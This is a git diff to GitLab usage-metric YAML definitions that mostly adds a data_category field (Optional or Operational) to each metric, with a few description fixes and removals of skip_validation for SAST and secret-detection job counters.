diff --git a/config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml b/config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml
index aae3322de19..77df3bac77e 100644
--- a/config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml
+++ b/config/metrics/counts_all/20210216181130_projects_jira_dvcs_server_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.projects_jira_dvcs_server_active
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216181134_epics.yml b/config/metrics/counts_all/20210216181134_epics.yml
index 5d6825f0830..8b87f64a4e1 100644
--- a/config/metrics/counts_all/20210216181134_epics.yml
+++ b/config/metrics/counts_all/20210216181134_epics.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.plan.epics
description:
product_section: dev
diff --git a/config/metrics/counts_all/20210216181135_label_lists.yml b/config/metrics/counts_all/20210216181135_label_lists.yml
index 8385157a13f..7d2899b7da9 100644
--- a/config/metrics/counts_all/20210216181135_label_lists.yml
+++ b/config/metrics/counts_all/20210216181135_label_lists.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.plan.label_lists
description: Count of users creating label lists on Boards
product_section: dev
diff --git a/config/metrics/counts_all/20210216181249_feature_flags.yml b/config/metrics/counts_all/20210216181249_feature_flags.yml
index 9ff71ff0e3b..9b424c243be 100644
--- a/config/metrics/counts_all/20210216181249_feature_flags.yml
+++ b/config/metrics/counts_all/20210216181249_feature_flags.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.feature_flags
description: Number of feature flag toggles
product_section: ops
diff --git a/config/metrics/counts_all/20210216181252_boards.yml b/config/metrics/counts_all/20210216181252_boards.yml
index ddf55cc6282..500b4c0dd31 100644
--- a/config/metrics/counts_all/20210216181252_boards.yml
+++ b/config/metrics/counts_all/20210216181252_boards.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.boards
description: Count of Boards created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181254_projects.yml b/config/metrics/counts_all/20210216181254_projects.yml
index 3e15f602f06..4892e8ae9a5 100644
--- a/config/metrics/counts_all/20210216181254_projects.yml
+++ b/config/metrics/counts_all/20210216181254_projects.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects
description: Count of Projects created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181256_todos.yml b/config/metrics/counts_all/20210216181256_todos.yml
index bf3f34500c5..25cf4edcf60 100644
--- a/config/metrics/counts_all/20210216181256_todos.yml
+++ b/config/metrics/counts_all/20210216181256_todos.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.todos
description: Count of todos created
product_section: dev
diff --git a/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml b/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
index c18888edb23..1fe81b25b4e 100644
--- a/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
+++ b/config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.jira_imports_total_imported_count
description: Count of Jira imports completed
product_section: dev
diff --git a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
index df04f5d0669..e276c2caec7 100644
--- a/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
+++ b/config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.jira_imports_projects_count
description: Count of Projects that imported Issues from Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml b/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
index b8e031dd744..99fb076dbe5 100644
--- a/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
+++ b/config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.jira_imports_total_imported_issues_count
description: Count of total issues imported via the Jira Importer
product_section: dev
diff --git a/config/metrics/counts_all/20210216181908_deploy_keys.yml b/config/metrics/counts_all/20210216181908_deploy_keys.yml
index ce4034aca60..fcd6a193ca2 100644
--- a/config/metrics/counts_all/20210216181908_deploy_keys.yml
+++ b/config/metrics/counts_all/20210216181908_deploy_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.deploy_keys
description:
product_section: ops
diff --git a/config/metrics/counts_all/20210216181911_successful_deployments.yml b/config/metrics/counts_all/20210216181911_successful_deployments.yml
index 2eedd96e4b6..7ce7f26a17c 100644
--- a/config/metrics/counts_all/20210216181911_successful_deployments.yml
+++ b/config/metrics/counts_all/20210216181911_successful_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.successful_deployments
description: Total successful deployments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181912_failed_deployments.yml b/config/metrics/counts_all/20210216181912_failed_deployments.yml
index 3ef38fff2d3..83cce6392b5 100644
--- a/config/metrics/counts_all/20210216181912_failed_deployments.yml
+++ b/config/metrics/counts_all/20210216181912_failed_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.failed_deployments
description: Total failed deployments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181914_environments.yml b/config/metrics/counts_all/20210216181914_environments.yml
index cae8fb0d85b..efb8570a3e6 100644
--- a/config/metrics/counts_all/20210216181914_environments.yml
+++ b/config/metrics/counts_all/20210216181914_environments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.environments
description: Total available and stopped environments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181916_in_review_folder.yml b/config/metrics/counts_all/20210216181916_in_review_folder.yml
index 8890c0af74e..09a8f842a06 100644
--- a/config/metrics/counts_all/20210216181916_in_review_folder.yml
+++ b/config/metrics/counts_all/20210216181916_in_review_folder.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.in_review_folder
description:
product_section: ops
diff --git a/config/metrics/counts_all/20210216181918_releases.yml b/config/metrics/counts_all/20210216181918_releases.yml
index 190a2ae92bc..5ce068be420 100644
--- a/config/metrics/counts_all/20210216181918_releases.yml
+++ b/config/metrics/counts_all/20210216181918_releases.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.releases
description: Unique release tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181926_deployments.yml b/config/metrics/counts_all/20210216181926_deployments.yml
index 626b9b0b29b..6cc7e7d7575 100644
--- a/config/metrics/counts_all/20210216181926_deployments.yml
+++ b/config/metrics/counts_all/20210216181926_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.release.deployments
description: Unique users triggering deployments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181928_failed_deployments.yml b/config/metrics/counts_all/20210216181928_failed_deployments.yml
index eec1fafa71c..7cd10c9540a 100644
--- a/config/metrics/counts_all/20210216181928_failed_deployments.yml
+++ b/config/metrics/counts_all/20210216181928_failed_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.release.failed_deployments
description: Total failed deployments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181930_releases.yml b/config/metrics/counts_all/20210216181930_releases.yml
index 9beda5cb6db..bcb81558888 100644
--- a/config/metrics/counts_all/20210216181930_releases.yml
+++ b/config/metrics/counts_all/20210216181930_releases.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.release.releases
description: Unique users creating release tags
product_section: ops
diff --git a/config/metrics/counts_all/20210216181932_successful_deployments.yml b/config/metrics/counts_all/20210216181932_successful_deployments.yml
index 48103574cfd..4f59431b5ab 100644
--- a/config/metrics/counts_all/20210216181932_successful_deployments.yml
+++ b/config/metrics/counts_all/20210216181932_successful_deployments.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.release.successful_deployments
description: Total successful deployments
product_section: ops
diff --git a/config/metrics/counts_all/20210216181946_pages_domains.yml b/config/metrics/counts_all/20210216181946_pages_domains.yml
index 7640b27eb46..4aaccd68c87 100644
--- a/config/metrics/counts_all/20210216181946_pages_domains.yml
+++ b/config/metrics/counts_all/20210216181946_pages_domains.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.pages_domains
description: Total GitLab Pages domains
product_section: ops
diff --git a/config/metrics/counts_all/20210216181949_clusters_applications_runner.yml b/config/metrics/counts_all/20210216181949_clusters_applications_runner.yml
index 3e84a694e96..61751d2aed3 100644
--- a/config/metrics/counts_all/20210216181949_clusters_applications_runner.yml
+++ b/config/metrics/counts_all/20210216181949_clusters_applications_runner.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.verify.clusters_applications_runner
description: Count of users creating managed clusters with Runner enabled
product_section: ops
diff --git a/config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml b/config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml
index 4d520d3430f..39fc30c9153 100644
--- a/config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml
+++ b/config/metrics/counts_all/20210216181954_user_unique_users_all_secure_scanners.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_unique_users_all_secure_scanners
description:
product_section: sec
diff --git a/config/metrics/counts_all/20210216182002_remote_mirrors.yml b/config/metrics/counts_all/20210216182002_remote_mirrors.yml
index c784bc57a00..608e1648872 100644
--- a/config/metrics/counts_all/20210216182002_remote_mirrors.yml
+++ b/config/metrics/counts_all/20210216182002_remote_mirrors.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.remote_mirrors
description: Count of total remote mirrors. Includes both push and pull mirrors
product_section: dev
diff --git a/config/metrics/counts_all/20210216182004_commit_comment.yml b/config/metrics/counts_all/20210216182004_commit_comment.yml
index b7d7c08196a..82ef272d2d1 100644
--- a/config/metrics/counts_all/20210216182004_commit_comment.yml
+++ b/config/metrics/counts_all/20210216182004_commit_comment.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.commit_comment
description: Count of total unique commit comments. Does not include MR diff comments
product_section: dev
diff --git a/config/metrics/counts_all/20210216182006_source_code_pushes.yml b/config/metrics/counts_all/20210216182006_source_code_pushes.yml
index 980314f6829..aecc9429dbc 100644
--- a/config/metrics/counts_all/20210216182006_source_code_pushes.yml
+++ b/config/metrics/counts_all/20210216182006_source_code_pushes.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.source_code_pushes
description: Count of total Git push operations
product_section: dev
diff --git a/config/metrics/counts_all/20210216182010_deploy_keys.yml b/config/metrics/counts_all/20210216182010_deploy_keys.yml
index c7af2e13af2..a05b821dd26 100644
--- a/config/metrics/counts_all/20210216182010_deploy_keys.yml
+++ b/config/metrics/counts_all/20210216182010_deploy_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.deploy_keys
description: Count of users creating deploy keys.
product_section: dev
diff --git a/config/metrics/counts_all/20210216182012_keys.yml b/config/metrics/counts_all/20210216182012_keys.yml
index 449b56b6994..6096dccad18 100644
--- a/config/metrics/counts_all/20210216182012_keys.yml
+++ b/config/metrics/counts_all/20210216182012_keys.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.keys
description: Count of users creating regular keys.
product_section: dev
diff --git a/config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml b/config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml
index 7ddcdde577c..3639ddb0b2e 100644
--- a/config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml
+++ b/config/metrics/counts_all/20210216182014_projects_with_disable_overriding_approvers_per_merge_request.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.projects_with_disable_overriding_approvers_per_merge_request
description: Total count of projects that do not allow overriding approvers on discrete merge requests
product_section: dev
diff --git a/config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml b/config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml
index 78ba2fed801..0ba200e71f6 100644
--- a/config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml
+++ b/config/metrics/counts_all/20210216182015_projects_without_disable_overriding_approvers_per_merge_request.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.projects_without_disable_overriding_approvers_per_merge_request
description: Count of total projects that do not disable overriding approvers per discrete merge request
product_section: dev
diff --git a/config/metrics/counts_all/20210216182017_remote_mirrors.yml b/config/metrics/counts_all/20210216182017_remote_mirrors.yml
index e3b25e3bd37..6826ebf8d4b 100644
--- a/config/metrics/counts_all/20210216182017_remote_mirrors.yml
+++ b/config/metrics/counts_all/20210216182017_remote_mirrors.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: usage_activity_by_stage.create.remote_mirrors
description: Count of users creating projects with remote mirrors.
product_section: dev
diff --git a/config/metrics/counts_all/20210216182112_sast_jobs.yml b/config/metrics/counts_all/20210216182112_sast_jobs.yml
index aaf41b37c2b..9813ac4051a 100644
--- a/config/metrics/counts_all/20210216182112_sast_jobs.yml
+++ b/config/metrics/counts_all/20210216182112_sast_jobs.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.sast_jobs
description: Count of SAST CI jobs for the month. Job names ending in '-sast'
product_section: sec
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml b/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml
index 9f56f021bf3..2203501bdb0 100644
--- a/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml
+++ b/config/metrics/counts_all/20210216182114_secret_detection_jobs.yml
@@ -1,6 +1,7 @@
---
+data_category: Operational
key_path: counts.secret_detection_jobs
-description: Count of 'secret-detection' CI jobs fro the month.
+description: Count of all 'secret-detection' CI jobs.
product_section: sec
product_stage: secure
product_group: group::static analysis
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182116_user_sast_jobs.yml b/config/metrics/counts_all/20210216182116_user_sast_jobs.yml
index 829d35a6e10..d10010cff4f 100644
--- a/config/metrics/counts_all/20210216182116_user_sast_jobs.yml
+++ b/config/metrics/counts_all/20210216182116_user_sast_jobs.yml
@@ -1,6 +1,7 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_sast_jobs
-description: Count of SAST jobs
+description: Count of SAST jobs per user
product_section: sec
product_stage: secure
product_group: group::static analysis
@@ -8,7 +9,7 @@ product_category: static_application_security_testing
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml b/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml
index 2559a67f4ad..3711f1591c9 100644
--- a/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml
+++ b/config/metrics/counts_all/20210216182118_user_secret_detection_jobs.yml
@@ -1,6 +1,7 @@
---
+data_category: Operational
key_path: usage_activity_by_stage.secure.user_secret_detection_jobs
-description: Count of Secret Detection Jobs
+description: Count of Secret Detection Jobs per user
product_section: sec
product_stage: secure
product_group: group::static analysis
@@ -8,7 +9,7 @@ product_category: secret_detection
value_type: number
status: data_available
time_frame: all
-data_source:
+data_source: database
distribution:
- ce
- ee
@@ -16,4 +17,3 @@ tier:
- free
- premium
- ultimate
-skip_validation: true
diff --git a/config/metrics/counts_all/20210216182454_protected_branches_except_default.yml b/config/metrics/counts_all/20210216182454_protected_branches_except_default.yml
index cae090955c1..aef5e02d715 100644
--- a/config/metrics/counts_all/20210216182454_protected_branches_except_default.yml
+++ b/config/metrics/counts_all/20210216182454_protected_branches_except_default.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.protected_branches_except_default
description: Count of branches that have been protected and are not the default branch
product_section: dev
diff --git a/config/metrics/counts_all/20210216182547_projects_datadog_active.yml b/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
index 66ec14d7c4d..4d515f30344 100644
--- a/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182547_projects_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_datadog_active
description: 'Count of projects with active integrations for Datadog'
product_section: dev
diff --git a/config/metrics/counts_all/20210216182549_groups_datadog_active.yml b/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
index 1bc3803d82f..93ca67dc3ce 100644
--- a/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182549_groups_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_datadog_active
description: Count of groups with active integrations for Datadog
product_section: dev
diff --git a/config/metrics/counts_all/20210216182551_templates_datadog_active.yml b/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
index 8842e75f875..a6289208f8d 100644
--- a/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182551_templates_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_datadog_active
description: Count of active service templates for Datadog
product_section: dev
diff --git a/config/metrics/counts_all/20210216182553_instances_datadog_active.yml b/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
index be281f26290..22f56981921 100644
--- a/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182553_instances_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_datadog_active
description: Count of active instance-level integrations for Datadog
product_section: dev
diff --git a/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml b/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
index 2c2d2aa6cb1..f54966e5667 100644
--- a/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182555_projects_inheriting_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_datadog_active
description: Count of active projects inheriting integrations for Datadog
product_section: dev
diff --git a/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml b/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
index 324b461ceea..7d04dd3529f 100644
--- a/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
+++ b/config/metrics/counts_all/20210216182557_groups_inheriting_datadog_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_datadog_active
description: Count of active groups inheriting integrations for Datadog
product_section: dev
diff --git a/config/metrics/counts_all/20210216182614_projects_ewm_active.yml b/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
index 057906ecffd..a18cce03cd2 100644
--- a/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182614_projects_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_ewm_active
description: 'Count of projects with active integrations for EWM'
product_section: dev
diff --git a/config/metrics/counts_all/20210216182616_groups_ewm_active.yml b/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
index 164466c69ba..21e14873f14 100644
--- a/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182616_groups_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_ewm_active
description: Count of groups with active integrations for EWM
product_section: dev
diff --git a/config/metrics/counts_all/20210216182618_templates_ewm_active.yml b/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
index 3bda8e71ac6..3061917fc4c 100644
--- a/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182618_templates_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_ewm_active
description: Count of active service templates for EWM
product_section: dev
diff --git a/config/metrics/counts_all/20210216182620_instances_ewm_active.yml b/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
index 57cda20793b..5942a6cecee 100644
--- a/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182620_instances_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_ewm_active
description: Count of active instance-level integrations for EWM
product_section: dev
diff --git a/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml b/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
index 108ff88ee52..ff075f9fa4c 100644
--- a/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182622_projects_inheriting_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_ewm_active
description: Count of active projects inheriting integrations for EWM
product_section: dev
diff --git a/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml b/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
index dd9902c0b41..e8d30fe06da 100644
--- a/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
+++ b/config/metrics/counts_all/20210216182623_groups_inheriting_ewm_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_ewm_active
description: Count of active groups inheriting integrations for EWM
product_section: dev
diff --git a/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml b/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
index cce2dedb709..edcb3cf0bd2 100644
--- a/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182722_projects_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_mock_ci_active
description: Count of projects with active integrations for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml b/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
index b41982786a9..26586a7a8e0 100644
--- a/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182724_groups_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_mock_ci_active
description: Count of groups with active integrations for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml b/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
index 786ecefcf1c..da5595571b0 100644
--- a/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182726_templates_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_mock_ci_active
description: Count of active service templates for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml b/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
index 13d5f4cc809..8176ad143c3 100644
--- a/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182728_instances_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_mock_ci_active
description: Count of active instance-level integrations for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml b/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
index 836d02ef768..5b9043aad79 100644
--- a/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182730_projects_inheriting_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_mock_ci_active
description: Count of active projects inheriting integrations for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml b/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
index 723399c5d04..5d0138e4091 100644
--- a/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
+++ b/config/metrics/counts_all/20210216182732_groups_inheriting_mock_ci_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_mock_ci_active
description: Count of active groups inheriting integrations for Mock CI
product_section: dev
diff --git a/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
index f2addef450d..63cd3fecf7c 100644
--- a/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182734_projects_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_mock_monitoring_active
description: Count of projects with active integrations for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
index 282fd487d3d..fe9baa11630 100644
--- a/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182736_groups_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_mock_monitoring_active
description: Count of groups with active integrations for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
index e3f70b4a679..00fa0215ac5 100644
--- a/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182738_templates_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_mock_monitoring_active
description: Count of active service templates for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
index fed7a283e14..b58943d95d1 100644
--- a/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182739_instances_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_mock_monitoring_active
description: Count of active instance-level integrations for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
index 690d27ecb63..91b93d10ead 100644
--- a/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182741_projects_inheriting_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_mock_monitoring_active
description: Count of active projects inheriting integrations for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml b/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
index a22e3be20a4..a1ef1252dfa 100644
--- a/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
+++ b/config/metrics/counts_all/20210216182743_groups_inheriting_mock_monitoring_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_mock_monitoring_active
description: Count of active groups inheriting integrations for Mock Monitoring
product_section: dev
diff --git a/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml b/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
index 3ad8d02cb1d..da0a9cbe25b 100644
--- a/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
+++ b/config/metrics/counts_all/20210216182855_package_events_i_package_composer_delete_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_composer_delete_package
description: A count of Composer packages that have been deleted
product_section: ops
diff --git a/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml b/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
index e6d056f6cc3..2b02ebf2aca 100644
--- a/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
+++ b/config/metrics/counts_all/20210216182857_package_events_i_package_composer_pull_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_composer_pull_package
description: A count of Composer packages that have been downloaded
product_section: ops
diff --git a/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml b/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
index 7aaa3d5d9d0..f52332c2248 100644
--- a/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
+++ b/config/metrics/counts_all/20210216182859_package_events_i_package_composer_push_package.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.package_events_i_package_composer_push_package
description: A count of Composer packages that have been published
product_section: ops
diff --git a/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml b/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
index 9baa6d0b535..ddc7c9708c5 100644
--- a/config/metrics/counts_all/20210216182901_package_events_i_package_conan_delete_package.yml
